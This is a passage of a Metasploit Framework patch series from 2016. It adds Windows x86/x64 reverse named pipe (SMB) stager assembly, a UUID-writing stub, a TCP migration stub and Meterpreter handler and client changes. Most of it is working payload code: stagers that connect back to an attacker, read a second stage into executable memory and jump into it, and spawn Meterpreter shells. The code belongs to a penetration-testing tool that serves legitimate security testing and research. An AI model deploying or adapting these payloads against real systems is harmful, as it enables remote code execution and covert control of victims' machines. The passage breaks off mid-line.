Msf::Payload::TransportConfig include Msf::Payload::Windows - include Msf::Payload::Windows::SendUUID + include Msf::Payload::Windows::WriteUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -98,8 +98,7 @@ def required_space def asm_reverse_named_pipe(opts={}) retry_count = [opts[:retry_count].to_i, 1].max - #reliable = opts[:reliable] - reliable = false + reliable = opts[:reliable] # we have to double-escape because of metasm full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" @@ -107,8 +106,6 @@ def asm_reverse_named_pipe(opts={}) ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the handle for the pipe to the server - ;int 3 - retry_start: push #{retry_count} ; retry counter mov esi, esp ; keep track of where the variables are @@ -130,7 +127,7 @@ def asm_reverse_named_pipe(opts={}) call ebp ; CreateFileA(...) ; If eax is -1, then we had a failure. - cmp eax, -1 ; zero means a failure + cmp eax, -1 ; -1 means a failure jnz connected handle_connect_failure: @@ -160,7 +157,7 @@ def asm_reverse_named_pipe(opts={}) ^ # TODO: add the "write file" equiv of this - #asm << asm_send_uuid if include_send_uuid + asm << asm_write_uuid if include_send_uuid asm << %Q^ ; Receive the size of the incoming second stage... @@ -222,7 +219,7 @@ def asm_reverse_named_pipe(opts={}) jz read_failed pop eax ; get the number of bytes read cmp eax, 0 - jnz read_succeeded + jnz read_successful read_failed: ; something failed, free up memory diff --git a/lib/msf/core/payload/windows/write_uuid.rb b/lib/msf/core/payload/windows/write_uuid.rb new file mode 100644 index 0000000000000..21c5571ea89a7 --- /dev/null +++ b/lib/msf/core/payload/windows/write_uuid.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic write_uuid stub for Windows ARCH_X86 payloads +# +### + +module Payload::Windows::WriteUUID + + # + # Generate assembly code that writes the UUID to a file handle. + # + # This code assumes that the block API pointer is in ebp, and + # the communications file handle is in edi. + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + write_uuid: + push 0 ; lpOverlapped + push 0 ; lpNumberOfBytesWritten + push #{uuid_raw.length} ; nNumberOfBytesToWrite + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} + call ebp ; call WriteFile(...) + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 17 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb index 3e1a12e04ba1e..5973544f0bd97 100644 --- a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -2,7 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/x64/send_uuid' +#require 'msf/core/payload/windows/x64/write_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -18,12 +18,12 @@ module Payload::Windows::ReverseNamedPipe_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows - include Msf::Payload::Windows::SendUUID_x64 + #include Msf::Payload::Windows::WriteUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 # - # Register reverse_tcp specific options + # Register reverse_named_pipe specific options # def initialize(*args) super @@ -34,8 +34,8 @@ def initialize(*args) # def generate conf = { - name: datastore['NAME'], - host: datastore['LHOST'], + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'], retry_count: datastore['ReverseConnectRetries'], reliable: false } @@ -46,7 +46,7 @@ def generate conf[:reliable] = true end - generate_reverse_tcp(conf) + generate_reverse_named_pipe(conf) end # @@ -60,7 +60,7 @@ def include_send_uuid # # Generate and compile the stager # - def generate_reverse_tcp(opts={}) + def generate_reverse_named_pipe(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. and rsp, ~0xF ; Ensure RSP is 16 byte aligned @@ -68,7 +68,7 @@ def generate_reverse_tcp(opts={}) #{asm_block_api} start: pop rbp ; block API pointer - #{asm_reverse_tcp(opts)} + #{asm_reverse_named_pipe(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end @@ -103,72 +103,48 @@ def required_space # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Bool] :reliable Whether or not to enable error handling code # - def asm_reverse_tcp(opts={}) + def asm_reverse_named_pipe(opts={}) - reliable = opts[:reliable] - retry_count = [opts[:retry_count].to_i, 1].max - encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first - encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first - encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port] + #reliable = opts[:reliable] + reliable = false + retry_count = [opts[:retry_count].to_i, 1].max + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" asm = %Q^ - reverse_tcp: - ; setup the structures we need on the stack... - mov r14, 'ws2_32' - push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. - mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. - sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData - ; structure (+8 for alignment) - mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. - mov r12, #{encoded_host_port} - push r12 ; host, family AF_INET and port - mov r12, rsp ; save pointer to sockaddr struct for connect call - - ; perform the call to LoadLibraryA... - mov rcx, r14 ; set the param for the library to load - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} - call rbp ; LoadLibraryA( "ws2_32" ) - - ; perform the call to WSAStartup... - mov rdx, r13 ; second param is a pointer to this stuct - push 0x0101 ; - pop rcx ; set the param for the version requested - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} - call rbp ; WSAStartup( 0x0101, &WSAData ); - - ; stick the retry count on the stack and store it + ; Input: RBP must be the address of 'api_call' + ; Output: RDI will be the handle to the named pipe. + + ;int 3 + + retry_start: push #{retry_count} ; retry counter pop r14 - create_socket: + ; Func(rcx, rdx, r8, r9, stack ...) + try_reverse_named_pipe: + call get_pipe_name + db "#{full_pipe_name}", 0x00 + get_pipe_name: + pop rcx ; lpFileName + ; Start by setting up the call to CreateFile ; perform the call to WSASocketA... - push rax ; if we succeed, rax wil be zero, push zero for the flags param. - push rax ; push null for reserved parameter - xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure - xor r8, r8 ; we do not specify a protocol - inc rax ; - mov rdx, rax ; push SOCK_STREAM - inc rax ; - mov rcx, rax ; push AF_INET - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - mov rdi, rax ; save the socket for later - - try_connect: - ; perform the call to connect... - push 16 ; length of the sockaddr struct - pop r8 ; pop off the third param - mov rdx, r12 ; set second param to pointer to sockaddr struct - mov rcx, rdi ; the socket - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} - call rbp ; connect( s, &sockaddr, 16 ); - - test eax, eax ; non-zero means failure - jz connected + push 0 ; alignment + push 0 ; hTemplateFile + push 0 ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + xor r9, r9 ; lpSecurityAttributes + xor r8, r8 ; dwShareMode + mov rdx, 0xC0000000 ; dwDesiredAccess( GENERIC_READ|GENERIC_WRITE) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} + call rbp ; CreateFileA(...) + + ; check for failure + cmp rax, -1 ; did it work? + jnz connected handle_connect_failure: dec r14 ; decrement the retry count - jnz try_connect + jnz retry_start ^ if opts[:exitfunk] @@ -179,7 +155,7 @@ def asm_reverse_tcp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push 0x56A2B5F0 ; hardcoded to exitprocess for size call rbp ^ end @@ -188,37 +164,44 @@ def asm_reverse_tcp(opts={}) ; this lable is required so that reconnect attempts include ; the UUID stuff if required. connected: + xchg rdi, rax ; Save the file handler for later ^ - asm << asm_send_uuid if include_send_uuid + #asm << asm_send_uuid if include_send_uuid asm << %Q^ - recv: ; Receive the size of the incoming second stage... - sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the - ; second stage length - mov rdx, rsp ; set pointer to this buffer - xor r9, r9 ; flags - push 4 ; - pop r8 ; length = sizeof( DWORD ); - mov rcx, rdi ; the saved socket - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call rbp ; recv( s, &dwLength, 4, 0 ); + push 0 ; buffer for lpNumberOfBytesRead + mov r9, rsp ; lpNumberOfBytesRead + push 0 ; buffer for lpBuffer + mov rsi, rsp ; lpNumberOfBytesRead + push 4 ; sizeof(DWORD) + pop r8 ; nNumberOfBytesToRead + push 0 ; alignment + push 0 ; lpOverlapped + mov rdx, rsi ; lpBuffer + mov rcx, rdi ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call rbp ; ReadFile(...) ^ if reliable asm << %Q^ ; reliability: check to see if the recv worked, and reconnect ; if it fails - cmp eax, 0 - jle cleanup_socket + test eax, eax + jz cleanup_file + mov rax, [rsi+8] + test eax, eax + jz cleanup_file ^ end asm << %Q^ - add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next - + ; Alloc a RWX buffer for the second stage + add rsp, 0x30 ; slight stack adjustment pop rsi ; pop off the second stage length + pop rax ; line the stack up again mov esi, esi ; only use the lower-order 32 bits for the size push 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE @@ -232,21 +215,24 @@ def asm_reverse_tcp(opts={}) mov rbx, rax ; rbx = our new memory address for the new stage mov r15, rax ; save the address so we can jump into it later - read_more: ; - xor r9, r9 ; flags - mov r8, rsi ; length - mov rdx, rbx ; the current address into our second stages RWX buffer - mov rcx, rdi ; the saved socket - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call rbp ; recv( s, buffer, length, 0 ); + read_more: + push 0 ; buffer for lpNumberOfBytesRead + mov r9, rsp ; lpNumberOfBytesRead + mov rdx, rbx ; lpBuffer + mov r8, rsi ; nNumberOfBytesToRead + push 0 ; lpOverlapped + mov rcx, rdi ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call rbp ; ReadFile(...) + add rsp, 0x28 ; slight stack adjustment ^ if reliable asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect + ; reliability: check to see if the read worked ; if it fails - cmp eax, 0 - jge read_successful + test eax, eax + jnz read_successful ; something failed so free up memory pop rax @@ -259,25 +245,27 @@ def asm_reverse_tcp(opts={}) mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} call rbp ; VirtualFree(payload, 0, MEM_COMMIT) - cleanup_socket: + cleanup_file: ; clean up the socket - push rdi ; socket handle - pop rcx ; s (closesocket parameter) - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + push rdi ; file handle + pop rcx ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} call rbp ; and try again dec r14 ; decrement the retry count - jmp create_socket + jmp retry_start ^ end asm << %Q^ read_successful: + pop rax add rbx, rax ; buffer += bytes_received sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length jnz read_more ; continue if we have more to read + int 3 jmp r15 ; return into the second stage ^ @@ -285,6 +273,8 @@ def asm_reverse_tcp(opts={}) asm << asm_exitfunk(opts) end + STDERR.puts("#{asm}\n") + asm end diff --git a/modules/payloads/stagers/windows/reverse_named_pipe.rb b/modules/payloads/stagers/windows/reverse_named_pipe.rb index e8b6cd5a0b39e..81dd219b89e64 100644 --- a/modules/payloads/stagers/windows/reverse_named_pipe.rb +++ b/modules/payloads/stagers/windows/reverse_named_pipe.rb @@ -17,7 +17,7 @@ module MetasploitModule def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse Named Pipe (SMB) Stager', + 'Name' => 'Windows x86 Reverse Named Pipe (SMB) Stager', 'Description' => 'Connect back to the attacker via a named pipe pivot', 'Author' => ['OJ Reeves'], 'License' => MSF_LICENSE, diff --git a/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb b/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb new file mode 100644 index 0000000000000..9fd4d959b90d4 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb @@ -0,0 +1,34 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/windows/x64/reverse_named_pipe' + +module MetasploitModule + + CachedSize = 281 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseNamedPipe_x64 + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse Named Pipe (SMB) Stager', + 'Description' => 'Connect back to the attacker via a named pipe pivot', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + +end + + From 85eb6e01d9b3bf0930446b63fe3b7be63f9a8616 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 10:54:39 +1000 Subject: [PATCH 09/23] Fixed up documentation --- lib/msf/core/handler/reverse_named_pipe.rb | 30 +++++++------- .../payload/windows/x64/reverse_named_pipe.rb | 2 - .../extensions/stdapi/net/named_pipe.rb | 3 +- .../named_pipe_client_channel.rb | 4 +- .../named_pipe_server_channel.rb | 39 ++++++++++--------- .../windows/meterpreter_reverse_named_pipe.rb | 4 +- .../x64/meterpreter_reverse_named_pipe.rb | 6 +-- 7 files changed, 47 insertions(+), 41 deletions(-) diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb index 50640969e6385..250b9534ff5f0 100644 --- a/lib/msf/core/handler/reverse_named_pipe.rb +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -6,12 +6,10 @@ module Msf module Handler ### # -# This module implements the reverse TCP handler. This means -# that it listens on a port waiting for a connection until -# either one is established or it is told to abort. -# -# This handler depends on having a local host and port to -# listen on. +# This module implements the reverse named pipe handler. This handler +# requires an existing session via Meterpreter, as it creates a named +# pipe server on the target session and traffic is pivoted through that +# using the channel functionality. This is Windows-only at the moment. # ### module ReverseNamedPipe @@ -21,7 +19,7 @@ module ReverseNamedPipe # # Returns the string representation of the handler type, in this case - # 'reverse_tcp'. + # 'reverse_named_pipe'. # def self.handler_type "reverse_named_pipe" @@ -36,8 +34,8 @@ def self.general_handler_type end # - # Initializes the reverse TCP handler and ads the options that are required - # for all reverse TCP payloads, like local host and local port. + # Initializes the reverse handler and ads the options that are required + # for reverse named pipe payloads. # def initialize(info = {}) super @@ -80,6 +78,12 @@ def human_name def start_handler queue = ::Queue.new + # The 'listen' option says "behave like a server". + # The 'repeat' option tells the target to create another named pipe + # handle when a new client is established so that it operates like + # a typical server. Named pipes are a bit awful in this regard. + # So we use the 'ExitOnSession' functionality to tell the target + # whether or not to do "one-shot" or "keep going". self.server_pipe = session.net.named_pipe.create({ listen: true, name: datastore['PIPENAME'], @@ -98,8 +102,6 @@ def start_handler self.pending_connections += 1 lqueue.push(channel) end - rescue Errno::ENOTCONN - nil rescue StandardError => e wlog [ "#{listener_name}: Exception raised during listener accept: #{e.class}", @@ -119,7 +121,9 @@ def start_handler elog("#{worker_name}: Queue returned an empty result, exiting...") end - # Timeout and datastore options need to be passed through to the channel + # Timeout and datastore options need to be passed through to the channel. + # We indicate that we want to skip SSL because that isn't suppored (or + # needed?) over the named pipe comms. opts = { datastore: datastore, channel: channel, @@ -154,7 +158,7 @@ def stop_handler server_pipe.close rescue IOError # Ignore if it's listening on a dead session - dlog("IOError closing listener sock; listening on dead session?", LEV_1) + dlog("IOError closing pipe listener; listening on dead session?", LEV_1) end end end diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb index 5973544f0bd97..254f715174fb9 100644 --- a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -273,8 +273,6 @@ def asm_reverse_named_pipe(opts={}) asm << asm_exitfunk(opts) end - STDERR.puts("#{asm}\n") - asm end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb index e82b65cffa039..a201811a5383e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb @@ -16,7 +16,8 @@ module Net ### # -# TODO put notes here +# This class wraps up all the functionality tha tis required to deal with named +# pipe functionality on the target Meterpreter session. # ### class NamedPipe diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb index 75504e722850b..711f664e0c1a8 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb @@ -15,7 +15,7 @@ module SocketSubsystem ### # -# This class represents a logical TCP client connection +# This class represents a logical named pipe client connection # that is established from the remote machine and tunnelled # through the established meterpreter connection, similar to an # SSH port forward. @@ -30,7 +30,7 @@ class NamedPipeClientChannel < Rex::Post::Meterpreter::Stream ## # - # Opens a TCP client channel using the supplied parameters. + # Opens a named pipe client channel using the supplied parameters. # def NamedPipeClientChannel.open(client, params) c = Channel.create(client, 'stdapi_net_named_pipe_client', self, CHANNEL_FLAG_SYNCHRONOUS, diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb index 24899fe9bc697..0e9a48b16aa40 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb @@ -20,19 +20,22 @@ class NamedPipeServerChannel < Rex::Post::Meterpreter::Channel PIPE_ACCESS_DUPLEX = 0x03 # - # This is a class variable to store all pending client tcp connections which have not been passed - # off via a call to the respective server tcp channels accept method. The dictionary key is the - # tcp server channel instance and the values held are an array of pending tcp client channels - # connected to the tcp server channel. + # This is a class variable to store all pending client named pipe connections that + # have not been passed off via a call to the respective server channel's accept method. + # The dictionary key is the server channel instance and the values held are an array + # of pending client channels connected to the server. # @@server_channels = {} # - # This is the request handler which is registered to the respective meterpreter instance via - # Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter - # for a 'tcp_channel_open' will be processed here. We create a new TcpClientChannel for each request - # received and store it in the respective tcp server channels list of new pending client channels. - # These new tcp client channels are passed off via a call the the tcp server channels accept() method. + # This is the request handler which is registered to the respective meterpreter instance. + # All incoming requests from the meterpreter for a 'named_pipe_channel_open' will be + # processed here. We create a new NamedPipeClientChannel for each request received and + # store it in the respective named pipe server channels list. Named pipes don't behave + # like TCP when it comes to server functionality, so a server "becomes" a client as soon + # as a connection is received. Hence, when a client connects, the client channel wraps + # up the handles from the server channel, and the server creates a new named pipe handle + # to continue listening on. # def self.request_handler(client, packet) return false unless packet.method == "named_pipe_channel_open" @@ -90,12 +93,12 @@ def self.open(client, params) # def initialize(client, cid, type, flags) super(client, cid, type, flags) - # add this instance to the class variables dictionary of tcp server channels + # add this instance to the class variables dictionary of server channels @@server_channels[self] ||= ::Queue.new end # - # Accept a new tcp client connection form this tcp server channel. This method does not block + # Accept a new client connection form this server channel. This method does not block # and returns nil if no new client connection is available. # def accept_nonblock @@ -103,7 +106,7 @@ def accept_nonblock end # - # Accept a new tcp client connection form this tcp server channel. This method will block indefinatly + # Accept a new client connection form this server channel. This method will block indefinatly # if no timeout is specified. # def accept(opts = {}) @@ -123,6 +126,11 @@ def accept(opts = {}) result end + # + # This function takes an existing server channel and converts it to a client + # channel for when a connection appears. If the server is operating in a continuous + # mode, then it wraps the new listener channel up in the existing server. + # def create_client(parent_id, client_id, pipe_name) # we are no long associated with this channel, it'll be wrapped by another @@ -146,15 +154,10 @@ def create_client(parent_id, client_id, pipe_name) client_channel end - def repeats? - params[:repeats] == true - end - protected def _accept(nonblock = false) - result = @@server_channels[self].deq(nonblock) - result + @@server_channels[self].deq(nonblock) end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb index 066399c15e3a0..a6eb830a7fd41 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb @@ -4,8 +4,8 @@ ## require 'msf/core' -require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -47,7 +47,7 @@ def generate def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid - # create the configuration block, which for staged connections is really simple. + # create the configuration block config_opts = { arch: opts[:uuid].arch, exitfunk: datastore['EXITFUNC'], diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb index 7f01f8f1a7989..da02d055e9ddc 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb @@ -24,9 +24,9 @@ module MetasploitModule def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline x64', - 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', - 'Author' => [ 'OJ Reeves' ], + 'Name' => 'Windows Meterpreter Shell, Reverse Named Pipe Inline x64', + 'Description' => 'Connect back to attacker via a channel pivot and spawn a Meterpreter shell', + 'Author' => ['OJ Reeves'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, From 09a81a817b455e6c7b0b35f8b8ffd2ce57414d33 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 13:36:11 +1000 Subject: [PATCH 10/23] Initial work on MSF-side migrate stub generation --- lib/msf/core/payload/windows/migrate.rb | 4 + lib/msf/core/payload/windows/migrate_tcp.rb | 85 +++++++++++++++++++ lib/msf/core/payload/windows/x64/migrate.rb | 4 + lib/rex/post/meterpreter/client_core.rb | 62 ++++++++++---- lib/rex/post/meterpreter/packet.rb | 4 +- .../ui/console/command_dispatcher/core.rb | 44 +++++----- spec/modules/payloads_spec.rb | 42 +++++++++ 7 files changed, 206 insertions(+), 39 deletions(-) create mode 100644 lib/msf/core/payload/windows/migrate.rb create mode 100644 lib/msf/core/payload/windows/migrate_tcp.rb create mode 100644 lib/msf/core/payload/windows/x64/migrate.rb diff --git a/lib/msf/core/payload/windows/migrate.rb b/lib/msf/core/payload/windows/migrate.rb new file mode 100644 index 0000000000000..58093087ce971 --- /dev/null +++ b/lib/msf/core/payload/windows/migrate.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/migrate_tcp' + diff --git a/lib/msf/core/payload/windows/migrate_tcp.rb b/lib/msf/core/payload/windows/migrate_tcp.rb new file mode 100644 index 0000000000000..dfa2b8b308c35 --- /dev/null +++ b/lib/msf/core/payload/windows/migrate_tcp.rb @@ -0,0 +1,85 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' + +module Msf + +### +# +# Common command execution implementation for Windows. +# +### + +module Payload::Windows::MigrateTcp + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + + WSA_VERSION = 0x190 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over TCP transport', + 'Description' => 'Migration stub to use over TCP transports', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov esi, [esp+4] + sub esp, 0x2000 + call start + #{asm_block_api} + start: + pop ebp + load_ws2_32: + push '32' + push 'ws2_' + push esp ; pointer to 'ws2_32' + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA('ws2_32') + init_networking: + mov eax, #{WSA_VERSION} ; EAX == version, and also used for size + sub esp, eax ; allocate space for the WSAData structure + push esp ; Pointer to the WSAData structure + push eax ; Version required + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup(Version, &WSAData) + create_socket: + push eax ; eax is 0 on success, use it for flags + push eax ; reserved + lea ebx, [esi+16] ; get offset to the WSAPROTOCOL_INFO struct + push ebx ; pass the info struct address + push eax ; no protocol is specified + inc eax + push eax ; SOCK_STREAM + inc eax + push eax ; AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0) + xchg edi, eax + signal_event: + push dword [esi] ; Event handle is pointed at by esi + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call ebp ; SetEvent(handle) + call_payload: + call dword [esi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/migrate.rb b/lib/msf/core/payload/windows/x64/migrate.rb new file mode 100644 index 0000000000000..1b6a1bdccb09d --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- +require 'msf/core/payload/windows/x64/block_api' +#require 'msf/core/payload/windows/x64/migrate_tcp' + diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 44c952e6acc1f..eeecc8e31360d 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -7,6 +7,8 @@ # Used to generate a reflective DLL when migrating. This is yet another # argument for moving the meterpreter client into the Msf namespace. require 'msf/core/payload/windows' +require 'msf/core/payload/windows/migrate' +require 'msf/core/payload/windows/x64/migrate' # URI uuid and checksum stuff require 'msf/core/payload/uuid' @@ -35,6 +37,7 @@ class ClientCore < Extension METERPRETER_TRANSPORT_SSL = 0 METERPRETER_TRANSPORT_HTTP = 1 METERPRETER_TRANSPORT_HTTPS = 2 + METERPRETER_TRANSPORT_PIPE = 3 TIMEOUT_SESSION = 24*3600*7 # 1 week TIMEOUT_COMMS = 300 # 5 minutes @@ -42,10 +45,11 @@ class ClientCore < Extension TIMEOUT_RETRY_WAIT = 10 # 10 seconds VALID_TRANSPORTS = { - 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, - 'reverse_http' => METERPRETER_TRANSPORT_HTTP, - 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, - 'bind_tcp' => METERPRETER_TRANSPORT_SSL + 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, + 'reverse_http' => METERPRETER_TRANSPORT_HTTP, + 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, + 'reverse_named_pipe' => METERPRETER_TRANSPORT_PIPE, + 'bind_tcp' => METERPRETER_TRANSPORT_SSL } include Rex::Payloads::Meterpreter::UriChecksum @@ -481,7 +485,8 @@ def migrate(pid, writable_dir = nil, opts = {}) # Rex::Post::FileStat#writable? isn't available end - blob = generate_payload_stub(process) + migrate_stub = generate_migrate_stub(process) + migrate_payload = generate_payload_stub(process) # Build the migration request request = Packet.create_request('core_migrate') @@ -493,23 +498,25 @@ def migrate(pid, writable_dir = nil, opts = {}) raise RuntimeError, 'The writable dir is too long', caller end - pos = blob.index(DEFAULT_SOCK_PATH) + pos = migrate_payload.index(DEFAULT_SOCK_PATH) if pos.nil? raise RuntimeError, 'The meterpreter binary is wrong', caller end - blob[pos, socket_path.length + 1] = socket_path + "\x00" + migrate_payload[pos, socket_path.length + 1] = socket_path + "\x00" - ep = elf_ep(blob) + ep = elf_ep(migrate_payload) request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000) request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep) request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib]) end request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) - request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) - request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) + request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length ) + request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib]) + request.add_tlv( 